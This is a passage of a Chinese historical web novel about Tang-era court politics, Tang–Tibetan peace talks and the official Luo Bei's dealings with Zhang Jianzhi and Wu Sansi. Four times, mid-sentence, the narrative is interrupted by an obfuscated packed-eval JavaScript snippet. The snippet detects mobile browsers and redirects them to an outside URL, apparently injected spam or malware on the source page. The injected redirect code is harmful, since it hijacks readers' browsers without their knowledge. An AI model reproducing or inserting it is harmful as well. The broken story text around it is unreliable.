阿史那献对“乌特特勤”在西域的威望有所耳闻,也知道洛北这句话的分量,只是作为半个父亲,被自己的孩子许下这种承诺,心里多少有点奇怪的滋味。他将此事翻过,转而叮嘱起洛北来:“如今吐蕃的事情在前,李武之争的事情在后,朝中是不会太平的。你在朝中行事,要更加小心些,以免树大招风。” 洛北点了点头:“伯克放心,我一个六品小官,树大招风,也招不到我头上。” 阿史那献在长安城待的比洛北久得多,深知有时候政治漩涡的波涛会把所有靠近的人卷入其中,并不问官职、品级和原因: “还是小心点的好,当年,父汗被酷吏构陷,虽说是他卷进了武李之争里。直接原因却是来俊臣看上了我们家里的几个美貌婢女。” 他抬手替洛北理了理衣襟:“你要实在没办法的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281669|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就往北庭逃吧。我在北庭还有几万兵马,数十万部族。不论怎么样,都能保住你的。” 他这话言下之意,就是为了洛北,他甚至可以起兵叛乱,与朝廷作对。 洛北一时哽咽,什么话都说不出来了,只点了点头,才飞马回长安去。等他的身影消失在道路尽头,阿史那献才下令重新整队出发,向着远方离开了。 阿史那献离开京城十几日后,解琬风尘仆仆地赶到了。 当晚魏元忠设宴款待,也叫上洛北列席陪同。月色明亮,丝竹管弦远远地吹着,侍婢侍卫站了满院。解琬一进魏府,一道道通传,立刻让他感到一股长安的熏风迎面扑了过来。 洛北奉命站在门内迎客,见到解琬,低身向他道了个礼:“解御史,多年不见,解御史安好否?” “洛北?!”解琬大为惊讶——他久在北庭,离长安道路实在太远,虽然听说了朝中为了吐蕃事宜吵得不可开交,却不知道洛北也在其中扮演着角色:“你不是在凉州郭都督手下吗?什么时候回的长安?” “年前,郭都督准了我的假,回来看望伯克。”洛北道,“后来姚相公举荐,朝廷下了调令,把我从凉州调来长安,做兵部职方司员外郎,还兼任了太子冼马。” 解琬笑道:“你是年少气盛,不想跟着父亲的荫庇生活?不然让阿史那献将军上奏朝廷,封你一个禁军中郎将,不是更容易些。” 阿史那献的“兴昔亡可汗”相当于一个郡王的爵位,郡王的儿子请封爵位,加入禁军,都是朝廷应有的惯例。禁军入侍皇家,一旦外放,便可以当封疆大吏,比他这样在六部做事苦熬,要快的多。 洛北当然没办法和解琬分说什么张柬之、狄仁杰、褚遂良一类的旧事,只笑着点了点头:“是,果然瞒不过解御史的慧眼。” 他们言笑晏晏地一路到了前堂,魏元忠穿着燕居的服饰等在那里。几人各自道礼,魏元忠才问:“解御史认得洛冼马?” 洛北点了点头:“不瞒魏相公,当年我能投到郭元振郭都督麾下,还多亏了解御史的举荐。” 解琬笑道:“这说来话就长了,当年我奉命出使西域突骑施,回来的路上生了病。当时洛冼马还是边境的一个郎中,过着闲云野鹤的日子。他救了我的命。我见他谙熟突厥、吐蕃的语言,就把他带到了凉州,举荐给了郭元振。” 魏元忠点了点头:“此事要是洛冼马和解御史今日不说,朝中也没有人知道了。“他对洛北谨慎淡泊的性格略有所知,此刻也不在这件事情上打转,只双手举杯,敬给众人: “如今与吐蕃谈判之事乃是朝中第一大事,此事一定,我西部边陲可以安宁数年,还望解御史、洛冼马都与本相共同进退,同心同德,给天下百姓一个安定的天下。” 解琬和洛北恭敬地举杯同饮:“愿意为大唐效死!” 48. 第 48 章 第一次与吐蕃会谈的地点,定在了鸿胪寺所布置的馆驿之内。外藩出使,馆驿便如同他们本国之地,大唐使节先去拜访,无异于一种示好。 魏元忠、解琬和洛北三人都穿了全套官服。对面的吐蕃使者也是盛装打扮,带着两人一道与会。其中一个自我介绍是“尚赞咄热拉金”,是吐蕃的政务大臣,另外一个叫“达扎恭禄”,正是那天在马球场上不要命地去抄洛北的球的那个青年。 达扎恭禄这次换回花团锦袍,腰带长刀。洛北与他目光一碰,又各自收回,双方都知道对方不是个好惹的角色。 大唐和吐蕃有三个地方一直纠缠不休,一个是西域的西突厥十姓之地,一个是河西的吐谷浑故地,还有一个就是陇右的九曲之地。这次和谈,均要列入谈判的条件之中。 会谈一开始,便是晦涩艰难,以九曲之地为公主汤沐之时已经被圣上诏书驳回。吐蕃人心中有气,连着提了几件事情,都没有一个条件肯让。 魏元忠气得顿失涵养:“历年来吐蕃与大唐争战频频,都是你吐蕃不服王化,屡屡越界,今日谈判,还大言炎炎什么吐谷浑仰慕来归你吐蕃,吐谷浑王族慕容家的首领如今就在长安,要不要叫他来问一问?!” 悉熏热面对魏元忠的斥责,面色不改,但眼中闪过一丝狡黠。他微微一笑,缓缓开口:“魏大人所言非虚,然而,我们今日所谈,非是历史,而是现实。” 大唐与吐蕃在大非川发生过数次战争,可以称得上是屡战屡败,否则吐谷浑故地也不会尽数落入吐蕃手中。洛北脸上已经露出愠色,正要起身说话,却被一边的解琬按住。 解琬深知此刻的局势紧张,稍有不慎就可能引发更大的冲突。他按住了洛北,示意他冷静,然后转向悉熏热,语气平和地说道:“悉熏热大人,大唐与吐蕃虽然约为甥舅之国,但一直冲突不断,大唐并不是要恢复贞观年间的旧日边境,而是要为吐谷浑部族谋得一息之地,以供吐谷浑生存。” “战败的部族不配拥有生存之地,”达扎恭禄站起身来,“要是吐谷浑想要土地,就让他们自己拿着刀来抢。我们绝不会把土地双手还给他们。” 洛北听闻此言,心中已经点燃一支熊熊之火,面上却依旧一片温和冷静:“达扎恭禄,大唐与吐蕃今日坐在这里,便是要考虑以谈判解决争端,如果你坚持这种蛮横无理的态度,那么我们也不得不重新考虑谈判的可能性了。” 悉熏热见状,知道事态已经有些失控,他连忙站起身来,试图缓和气氛:“各位尊贵的使节,请稍安勿躁。我们此次前来,是为了和平而来,不是为了战争。我希望我们能够保持冷静,不如我们再谈一谈陇右的事情吧。” 魏元忠道:“陇右的事情已经没有可谈的了。我们以牦牛河为界,以牦牛河到黄河的河源地带为缓冲的‘闲壤’。” 悉熏热摇了摇头:“不行,一定要以黄河为界。但可以以九曲之地为闲壤。” “九曲之地一直位于黄河之东,素为我大唐国土,我大唐绝不可能退让。”解琬道,“若是不设闲壤,则可以以黄河为界。” “不设闲壤,就怕边将贪功,再起边衅。这盟约恐怕会形同无物。”尚赞咄热拉金说。 尚赞咄热拉金的话让会谈的气氛再次紧张起来。大唐和吐蕃之间的争执,已经不仅仅关乎土地的问题,更是涉及到双方的尊严和未来的安定。 魏元忠紧锁着眉头,深知吐蕃人此刻提出的“闲壤”之论,不过是想要占据更多的优势,让大唐在日后处于不利地位。他瞥了一眼解琬和洛北,只见二人也都面露难色。 解琬沉吟片刻,道:“我们理解吐蕃的担忧,但我们也必须考虑大唐的利益。不如我们提出一个折中的方案:以黄河为界,但双方各设一定数量的‘哨卡’,以监督边界的和平与安全。这样既能保证双方的利益,又能避免再起争端。” 悉熏热和尚赞咄热拉金听后,互相对视一眼,显然在权衡利弊。达扎恭禄则一直沉默不语,但眼中闪烁着锐利的光芒,仿佛在思考着什么。 终于,悉熏热开口了:“这个提议,我们需要回去与赞普商议。但在此之前,我们愿意就其他事项继续谈判。” 魏元忠点了点头,表示同意。接下来谈判的便是西域的西突厥十姓之地了。 西域的西突厥十姓之地混杂着西突厥、突骑施、拔汗那和大食数国势力。吐蕃眼馋西域的人口、粮草和财富。更加上西域与吐蕃道途极近,稍有争端,镇守西域的将领便可以和河西、陇右三方合围,将吐蕃牢牢锁死在雪域高原上。故而每次谈判,吐蕃都将十姓之地作为条件之一。 “十姓之地绝无一点可能。”魏元忠再次拒绝了提议,“西域与吐蕃毫无瓜葛,吐蕃每每谈判都将此事列上条款,可见你们不是诚意求和。” 达扎恭禄愤而起身,恨声道:“魏相公,请注意你的言辞!我们吐蕃并非没有尊严,岂容你如此侮辱?” 洛北轻轻敲了敲桌子,也站起身:“达扎恭禄,我知道你曾经是前任赞普杜松芒波杰身边的七位护卫勇士之一,现在是吐蕃的政务大臣。吐蕃内部的情况,你应当比我更加清楚,有几个问题,我想和你请教。” 他说这几个名字的时候发音更近于吐蕃语,又将达扎恭禄的来历说得一清二楚。在座的吐蕃使臣无一不露出惊讶神色。达扎恭禄心知这是狭路相逢勇者胜,人依旧直挺挺地站在那里:“你想说什么?” 洛北道:“我想问问你,屡胜大唐的战神论陵钦现在在哪里?诛杀论陵钦家族的伟大赞普杜松芒波杰现在又在哪里?尼泊尔等国如今还服从你吐蕃的政令吗?内部的政局可还安稳吗?” 满座的吐蕃使臣,脸色都灰暗下来。洛北的话如同一把锋利的剑,直刺吐蕃使臣们的心头。他们知道,洛北所提及的每一个问题,都是吐蕃当前的软肋。论陵钦功高震主,为赞普杜松芒波杰所诛。杜松芒波杰又被内乱所杀——如今的尺玛雷代幼孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281670|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执政,若无这封盟约,怕是坐不稳吐蕃的赞普位置。 魏元忠见他们脸色灰暗,各自陷入沉思,开口便道:“好了,你们回去想一想,若要呈报吐蕃赞普和摄政太后,我们也可以等。但是诸位大人可要记住,这次谈判是我们诚意最大的一次,若是谈判不成,责任在你吐蕃!” 他说罢,带着洛北和解琬起身离开馆驿,丝毫不在意这几个吐蕃使臣在他身后说话。 回到朝房,魏元忠轻轻一笑:“好险的场景,要不是洛北反应快,今日已经被他们压倒了气势。” 解琬犹疑道:“魏相公,你不担心这次谈判彻底破裂吗?” 魏元忠倒了杯水:“解御史,这件事情急得不是我们,而是吐蕃。吐蕃新主登位,需要这份和约稳定局势,外部无忧,摄政太后尺玛雷才有时间和功夫,清洗吐蕃朝政,扶持他们自己的势力。如果我们不拿气势把他们压住了,他们就会一而再,再而三地试探我们的底线。” “如今咱们是反其道而行之。”解琬这才明白了他们的意思,“叫他们守在我们划的红线里谈。” “不错。我把你们叫过来,也是为了这些事情。领土的事情被我们堵死,他们会在别的地方上下文章,贸易、财帛、工匠、文书,诸如此类。”魏元忠道,“其它的事情都好说,依着往日的惯例谈了就是。唯有一条,若是他们求以儒家经典,咱要怎么说?” 洛北皱了皱眉,没明白此事的症结在哪里:“这,既然吐蕃人心慕王化,赐几本书给他们又没有什么。” 解琬倒是明白了魏元忠的意思:“魏相公是会担心朝中有人会说吐蕃人借了《春秋》、《左传》,会学得越发狡诈?” 魏元忠颔首:“汉朝时,东平王刘宇是汉成帝的亲弟弟,他向朝廷请求《史记》和《诸子》,汉成帝也不肯给。何况如今吐蕃是我们的敌人,这和资敌有什么两样?” 解琬笑道:“要说儒家经典之中只有用兵和诡计,怕是满朝的孔门儒生没有人肯答应。礼义仁智信不是也从其中来?这点言论回驳起来容易,魏相公也不用多虑。” 在吐蕃与大唐的谈判再次进行之时,春闱在万众瞩目之下开始了。 洛北忙于吐蕃事务,却还是抽了时间送了王翰和张孝嵩入考场。 王翰一脸无所谓:“今年闹出这么大的阵仗,谁做考官怕是也点不了我的名字,我就进去坐个三天,看看能不能做出几首好诗来。” 张孝嵩却面带紧张,一双手不住地在两边搓着衣角:“我倒是希望能够蟾宫折桂,这次要是再中不了,我就到边塞去从军。不要一年一年地在考场中虚耗光阴。” 洛北笑道:“王翰,你不是一向自称风流才子,才华当世莫比么?孝嵩不是也雄心勃勃。一到要进考场的时候,怎么都泄了气了?” “朝中事情这样多,进去了也未必是一件好事。”张孝嵩道,“洛公子别担心我们,我们还想着等出来之后,听你们的捷报。” 49. 第 49 章 月余之后,春闱放榜。那姚姓的青年姚仲通高中状元。张孝嵩名列榜眼。王翰也中在二甲。 当晚裴伷先设宴,邀请他们到曲江池边裴家的别馆庆祝一番,也叫上洛北一道出席。 裴伷先存了争胜之心,把个别馆布置得是无比豪华,墙上嵌着几颗夜明珠来照明,红珊瑚如火炬般矗立在院中。宴席上美酒佳肴不可胜数,端酒的酒杯是琉璃夜光杯,夹菜的筷子是精工象牙筷,吃饭的小碗是和田白玉碗。 “王公子上次不是说过,要喝些好酒。”裴伷先亲自捧了一只大金壶,替他们斟到酒杯中,酒浆香味浓郁,色如琥珀,“公子知道的。这壶是我从石国带来的好酒,因那边与大食交战,这酒越发难得,一直不肯示人,今天是为了庆贺两位高中进士,才拿了出来。” 王翰本来好酒,听他这样一说已经把腹中酒虫都勾了出来:“裴詹事果然豪气,不愧是西域富商,我可否尝一尝?” “等一等,王公子。”裴伷先笑道,“如此好酒,如此良夜,怎么能没有诗呢?王公子才华惊世,不如即兴吟咏一番,也好叫我这美酒不要明珠暗投啊。” 王翰看洛北和张孝嵩都已经喝了一口,正笑笑地看着他,忍不住问道:“高中榜眼的孝嵩怎么能好端端地坐着,就把这作诗的差事派给了我?” 张孝嵩笑了起来:“我虽然是榜眼,但可没有闻名天下的风流才子名声,做出来的诗歌也多为义理,怎能适配此夜?还是王翰你做一首,也好叫今夜万古流传。” 这一句“万古流传”算是搔到了王翰的痒处。他端起酒杯端详一番,站起身来踱了几步:“有了,你们听。” “葡萄美酒夜光杯,欲饮琵琶马上催。醉卧沙场君莫笑,古来征战几人回!” “好!”裴伷先第一个高声叫好。他双目放光,知道今夜正如张孝嵩所说,会因为此篇万古流传。 张孝嵩也不由得拊掌大叹:“若有王翰你的这番豪情,万里征途也如等闲了。” 洛北站起身,又替王翰斟了一杯酒:“王公子做出这样的好的诗,今晚的酒是不打算分给我们了吗?” 他这一席话说得众人都笑了起来。裴伷先开了宴,几人纵情欢笑,闹腾了半个晚上。 三日后,新科进士打马长安,到大雁塔下题诗留名,在杏花盛放,灿如云霞的杏园中宴饮,酒饱饭足之后,消食的活动是和禁军组织的一场马球赛。 张孝嵩自小习武,自然当仁不让地上了场,王翰则谦了一谦,在一旁和同年好友们饮酒联句。 张孝嵩上了马,远远地过去和禁军那边的人打了打招呼,定睛一看,竟发现对面的队伍中竟有洛北在,他正意气风发地坐在马上,身着白色锦袍,端的是丰神俊逸。 张孝嵩笑骂道:“哎?这不是耍赖么?!和赢过吐蕃的洛公子打,我们这些人能有什么胜算?” “是我的一个叫葛福顺的禁军朋友,临时病了,不能前来,所以叫我替他。”洛北忙解释道,他指了指旁边,“莫说我,淮阳郡王不是也在这里么?” 驸马都尉王同皎和淮阳郡王武延秀都是出了名的马球好手,身上又带着禁军的官职,这一次也被叫来一起。 张孝嵩摇了摇头,和一众进士说了几句,又派了两个人上场,把场上变成了十一比三的格局。 洛北等三人对此倒是没有异议。比赛一开,他们三人就用实际行动教了进士们一课,打马球和朝廷斗争一样,靠人多是没有用的。 洛北翩若惊鸿,矫若游龙地穿梭球场之间,进士们也不甘示弱,比赛一直打到十八比二十,才以禁军这边小胜为结。两边收了势,又是一番宴饮才归。 席间,武延秀几度想抛下王同皎,找洛北私下说几句话,但洛北在禁军中的朋友实在太多,进士中也有不少人认得他,一轮轮敬酒下来,武延秀愣是没找到一个有空的时候,只得带着遗憾走了。 半月之后,吐蕃复命,愿意接受大唐的一切领土条件,在青海吐出半个吐谷浑故地为闲壤,在陇右以河为界,放弃对西突厥十姓之地的索求,但要求大唐在边境开放互市,送公主入吐蕃和亲,并陪送嫁妆、工匠以及儒家经典。 魏元忠向皇帝李显复命,李显召开大朝会再议此事,朝中众臣果然就“要不要送儒家经典给吐蕃”这件事情展开了辩论,最终,李显圣断,下诏赠书给吐蕃。 又经历几番讨价还价之后,唐蕃终于达成和议,双方约定五年之后吐蕃派人迎亲,大唐和吐蕃再为舅甥关系,两国永守边界和平,不再言战。 皇帝李显欣喜若狂,这是他作为君主以来最大的一件功勋,他兵不血刃,就完成了过往大唐君主们极少完成的事业。 于是他大兴封赏,魏元忠以此功进封齐国公,成为了正式的兵部尚书,唐休璟为吏部尚书,太子少师,宋国公。解琬升任御史大夫,在此事上发过言的郭元振也升任左骁卫将军,检校安西大都护,兼任金山道行军大总管。 洛北则由魏元忠提名担任兵部侍郎,李显本要下旨御准,但朝中反对声浪实在太大——有唐一代,超过五品的官员便属高官行列,多少官员穷其一生也没能跨过五品的这个坎。 而洛北今年才刚刚二十岁,又不是世家贵戚之后,在不到一年之内就从凉州参军飞跃到了兵部侍郎的位置上?魏元忠拔擢自己人的意图未免太明显了。 魏元忠见朝臣们反应激烈,亲自来找洛北商议:“论理,你有大功于朝廷,连升两级不算什么大事,但朝臣们反应如此激烈,我虽身为宰相,也不能太过违逆他们的意思。” 洛北明白,如今闹出这么大的阵仗,即使他坐上了这个兵部侍郎的位置,朝中这么多双眼睛盯着他,一旦他犯了一点错误,就会有无数人群起而攻之,非要把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281671|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他拉下来不可:“魏相公放心,属下效忠大唐,官爵之事,全凭相公和圣上的裁决。” 魏元忠一边连连赞叹他淡泊名利,一边提名他担任兵部职方司郎中。 从职方司员外郎升任职方司郎中,就相当于只升了洛北一级职位,大部分朝臣就没有了反对的理由。便是有御史因其年纪太小官职太重反对,也被魏元忠和李显挡了回去。 这样一来,洛北正式执掌职方司,可以独立处理舆图、烽燧等一干事务,他一边着手清点过往的图册,一边组织兵部吏员修订与吐蕃边境的边境地图——这些年风云变化,战事频发,边境也时常有河流改道、山崖崩裂的情况,皆需一一测绘,并在地图上修订,为之后在吐蕃边境设立哨卡提供基础。 洛北谙熟边事,又极为年轻,带头扎进了地图修订工作中,压得兵部一干吏员也不敢不用心,几乎是日以继夜地进行此项工作。 好在洛北为人公正,赏罚分明,借着西域十姓之地的地图修订大功告成,拔擢了几个功劳最大的吏员,加了他们的俸禄,兵部的吏员们倒也没有说他的坏话。 正在洛北挽起袖子在职方司大干特干时,中宗忽而下诏封敬晖为平阳王,桓彦范为扶阳王,张柬之为汉阳王,袁恕己为南阳王,崔玄暐为博陵王,同时“罢其政事”。 对于大部分朝臣来说,赐封王爵是无上荣耀。毕竟大唐开国以来,即使从龙辅佐如房玄龄杜如晦等、举国来投如东突厥突利可汗、西突厥阿史那弥射等,也不过拿到了个国公郡王的爵位。 但张柬之等人在封王的同时,被免去了侍中、中书令和宰相实职,只保留每月一日、十五日上朝觐见的待遇,权力几乎丧失殆尽。 为安抚五人,中宗赏赐他们黄金绸缎、雕鞍御马,又赐桓彦范姓韦,令其与韦皇后同宗。 洛北敏锐地感觉到,这是个分外危险的信号,代表着李显要主动把政变派排除出朝堂。不论他做这件事情的原因到底是什么,都代表他对政变派的功臣们失去了信任。他顾不上隐藏身份的考虑,匆忙私下求见了张柬之。 “张相公.......”洛北犹豫再三,“有句话,我不知当讲不当讲。” 张柬之是多年的狐狸成了精,见他欲言又止,开口笑道:“你是要劝我上疏推辞王爵,同时申请告老还乡?” “是。”洛北又低了头,“我以为,圣上已经起了翦除功臣的心思。长孙家、褚家、裴家......一代代宰辅都在眼前啊。” 洛北所说的这些事情都是本朝故事,长孙无忌与他的曾祖父褚遂良受李世民遗命辅政高宗李治,双双被李治所杀。裴炎为女皇废立李显立下了汗马功劳,自己也被女皇所杀。张柬之不可能不明白,也不可能听不懂。 见洛北把话说到这份上,张柬之叹了口气:“那长孙家、褚家、裴家,就没人懂得这个道理吗?” 50. 第 50 章 此话有如雷鸣在洛北耳边炸响,他当场怔住,看着张柬之的那双深沉的眼睛,一个字也说不出来。 “你是个聪明人,可天底下不是只有你一个聪明人。”张柬之将手边一只棋盅揭开,在桌上摆开了一局残局,“会下棋吗?” 洛北恭敬道:“学过一点。” 张柬之点了点头,把一枚棋子摆在天元位:“你的性子,适合拿棋盘来磨一磨。朝局和棋局类似,一人一地一子的得失都算不了什么。最重要的是‘势’。如果当年的那些宰辅们自己上表辞官,他们的‘势’就完全散了。朝臣们跟风而上,落井下石,他们只会败得更惨,死得更惨。” 洛北沉吟片刻:“可如今圣上已经起了心思,与其经历一番朝廷斗争,再丢官去职,倒还不如自己走,您有大功于社稷,圣上见您如此,总有一丝善意,不会赶尽杀绝的......” 张柬之叹了口气,眼睛望着远方,喃喃道:“真是讽刺啊.....老夫今年八十有余,为官六十年,最后的身家性命,全要寄托在圣上的一丝善意上了吗?” 张柬之这话说得半是感慨,半是讥讽,洛北低下头来,不敢再劝。 张柬之又在棋盘上摆了一枚棋子:“你把皇帝看得太重了,君道臣职各有所司,当今的皇帝还做不到一己好恶杀死宰相。陛下所能依靠的,唯有武三思而已。只要武三思的一举一动仍然掌握在我手中,这局棋就还不会这么快结束……” 洛北好奇问:“张相公在武三思那里也有人手?” “这是自然。”张柬之道,“告诉你名字也无妨,这个人就是吏部考功司郎中,崔湜。” “博陵崔氏那个以文辞著称的美男子么。”洛北对这个人有印象:崔湜是登进士科入的官场,仕途之初,曾经跟着二张编撰《三教珠英》。神龙政变之后,被提拔到了吏部考功司员外郎的位置上。 但博陵崔氏盛产文坛清流,崔湜也对朝中纷争敬而远之,只喜欢往文会、诗会之中扎根。洛北去拜访褚沅的时候,时常能和他打个照面,不过也只是点头之交,没有什么交情。 张柬之没有直接回答他,只在棋盘上落下一子:“棋局还没有完,你要耐得住性子一些。” 他没有再和洛北讲话的兴趣,只专心致志地解棋盘上的残局。显然是个送客的架势。 洛北知情识趣,知道自己这不怎么合时宜的一番表态已经让张柬之有些厌烦,正要起身告辞,眸光一低,却瞥到那棋盘上黑龙翻滚。 他心念一动,拿起白子落在棋盘上,封死了黑棋的去路。 张柬之皱起眉头看他:“你这是什么意思?” “张相公,崔湜已经不可靠了。”洛北沉声道,“否则武三思骤然发难,他为什么不向您禀报?” 张柬之极为奇怪地抬头看了他一眼:“此事事发突然,他来不及禀报,不也是正常?” 洛北摇了摇头:“张相公刚刚说过,朝中不止我一个聪明人,我深以为然。倘若崔湜能以政变派身份在武三思身边潜藏那么久,就绝不会忽视今天的这件事情。相公且看,此事之后,武三思一定会在朝堂上擢升他,而且就会擢升到您之前主管的中书省去。” 张柬之重重地在棋盘上落了一子:“他敢?!” 洛北轻声道:“圣上会支持他的。” 张柬之深深地叹息一声,正如他自己所说,皇帝没有直接罢黜宰相的能力和勇气,便依靠武三思与他争斗。如今他既然已经被圣上罢去了相位,继任他中书令职务的官员,不论是谁,都不会把他提拔上来的那些人留在中书省了。 洛北只是沉默不语。 张柬之把他从上到下,从下到上地打量一番,语气中带着遗憾:“当年我在长安第一次见到你的时候,你还是个半大孩子,如今也是官居五品,执掌职司的官员了。” 洛北听他语气,心中已有预感,见张柬之要起身,伸出手将他扶了起来:“张相公何必如此。” 张柬之摆了摆手,拒绝了他的搀扶。两人一起走到外间的花园中。此地地处偏僻,各色花朵盛开如海,张柬之随手折了一支拿在手中: “洛北,你还记得吗?姚崇刚刚回京的时候,你曾到白马寺中拜会我们。我们那时正在吵要不要恢复你身份的事。我还责骂姚崇,说他不顾狄公的遗愿。如今我也同他一样,叫你为大局舍弃了自己的身份,你会怨恨我吗?” 洛北能猜到张柬之为什么会突然提起此事。张柬之不在乎他这么个一介小卒,他真正难过的是未能完成狄仁杰生前的遗愿:“张相公和姚相公日理万机,怎么还在乎我这么个小人物。” “哈哈,小人物?你当年在河北道与狄公失散。他一个不信鬼神的人,在白马寺为你供起了长明灯。”张柬之笑了笑,带他转到花园中一处隐蔽的假山之后,从山体中取出一只铜盒:“这是狄公生前的最后一道遗表和他给你的信。” 洛北没想到还有这样的东西,只拿着铜盒,怔怔地盯着张柬之。 “他曾经说,他不能主动派人去突厥找你找你,是因为知道倘若你真的被掳去突厥,是不会显露狄家子弟身份,免得连累他被人掣肘。所以他不敢轻举妄动给你带来危险。” 张柬之笑道: “但他也相信,以你的智慧,定有回到中原的一日。其实……我本来想着,等武家一倒,立刻上书圣上,连这道遗表一起交上去,让朝廷恢复你狄公子侄的身份,如今看来,这封奏疏是等不到我去上了。” “张相公已打算退隐?”洛北听得出张柬之意气消沉,“那其他人......” “各人都有个人的想法,我会将其中利害向他们陈明,至于他们退不退,就是他们自己的事情了。”张柬之将手中花枝塞给他,示意他可以告辞,“你也不要以为我一退了,就万事大吉,武三思不是个心慈手软的人。所以我离开长安的时候,你不要来送。” 张柬之话里话外的意思是叫洛北韬光养晦。洛北郑重地点了点头,随即起身告辞。 他在回城的马车上拆开了那只铜盒,里面是一封信并一只卷轴。 信中是狄公字迹:“阿彧,见字如晤。我近来病痛渐增,但知时日无多,不知可有重逢之日,便以此信为赠。我知你自幼聪慧过人,更有兼济天下之志,但我为长辈,心中期望,不过是你平安快乐,无病无灾。但愿你多加珍重,天冷添衣,勿忘餐饭。另有遗表一封,你可在必要之时,代我呈给圣上。” 洛北用力数次,好不容易才用颤抖的双手拧开卷轴,奏章起头的字句是: “罪臣狄仁杰叩首........” 狄仁杰在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281672|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封遗表上承认了洛北褚遂良后人的身份。他自知收留罪臣之后罪不可恕,但还是要朝廷看在他劳苦功高的份上对洛北网开一面…… 这位鞠躬尽瘁的宰相临死前留下的,竟是一封请罪的奏疏。 洛北将奏折和书信重新收回铜盒之中,已是泪流满面。 不久,正如洛北所料,崔湜被武三思拔擢为中书舍人,进入中书省任职。 神龙元年七月,汉阳王张柬之上表请求辞官回襄州养老。七月十八,李显下诏任命张柬之担任襄州刺史——只享受刺史的待遇,不处理刺史的具体事务。 张柬之离开的那一日,为了避嫌,洛北在街边的酒楼上遥送了远行的队伍一程。 他心中愁苦难言,不免多喝了几杯,可下楼之时,身形不稳,险些踏空了一阶台阶,他堪堪稳住步子,立刻觉得有些不对劲。 他的酒量是草原上的风雨灌出来的,生平极难一醉,今天只是喝了几口,怎么会站都站不住了。 他摇摇晃晃地向外走去,差点打翻了门口两桌酒席。两个人高马大的汉子从门外冲进来,一边向周围人赔罪赔钱,一边一左一右地将他架起来,卸了他的腰刀,把他丢进了早就等在楼外的一辆蓝布马车中。 哗啦一声。 洛北被一盆当头冷水泼醒,下意识地抬手要去擦脸上的水,他举起右手,只觉得沉重异常,带着一阵哐当的声音。 他睁开双眼,发现自己正身处一座暗无天日的牢狱之中,四周光亮黯淡,只有上方的天窗隐隐地透进来一点光。此刻他双手都被锁链锁住,另外一端连在光滑的石墙。他试着挣脱几下,都无法挪动分毫。 这样的锁链绝非私人能有,这一切再明显不过,他这是中了别人的圈套。 “洛郎中,”脚步从过道的地方挪进来,一个身材矮小,体格健壮的男人出现在洛北面前,“你知道这是什么地方吗?” 洛北不说话,只冷冷地看着他。 “这是丽景门。”那人道。 丽景门是女皇登位之后设置“制狱”的地方,来俊臣、周兴等一干酷吏便在此地大兴罗织,使用酷刑,杀尽了李唐宗室以及数百家大臣,五品以下的大臣死于此地者更是数不胜数。朝中人人自危,离家之前,要与家人诀别。 “丽景门在洛阳,”洛北坐正了身子,与他对答,“如今你我都在长安,大唐的长安。” 对面显然被他噎得说不出话来,只怒目圆睁地看着他:“大胆,到了这个地方还敢大言炎炎,我先打你二十鞭,叫你尝尝老子的厉害。”他伸手要去拿一旁的马鞭,却看洛北神色平静,并无所动,忽而犹豫了一瞬: “你不怕?” “该害怕的不是我,而是你。你们私自扣押朝臣,滥用私刑,是朝中人人得而诛之的大罪。你背后的人与皇家枝蔓相连,不会受此罪责,而你的下场会是什么,你自己心里清楚。” 那人没想到这个年轻人竟如此扎手,自顾自地站在那里想该如何对付。 洛北也不看他,只是闭目养神,想要从目前的一片混沌之中找到一点可用的线索。 忽而,几声零星的鼓掌声从过道的另一端飘来。一个身材高大,仪表堂堂的男人走了进来。 洛北认得此人,与他目光相接时,忍不住发出一声轻蔑的笑声。 51. 第 51 章 来者正是梁王武三思。 武三思挥了挥手,示意那人退下去,自己蹲在洛北对面,居高临下地看着他: “有人曾经告诉我,你虽然年少,却心思深沉不可捉摸,还说你在神龙政变之中出力甚多。如今看来,他所说的话应该是真的。” “梁王殿下有事不妨直言。”洛北不想和他打机锋。 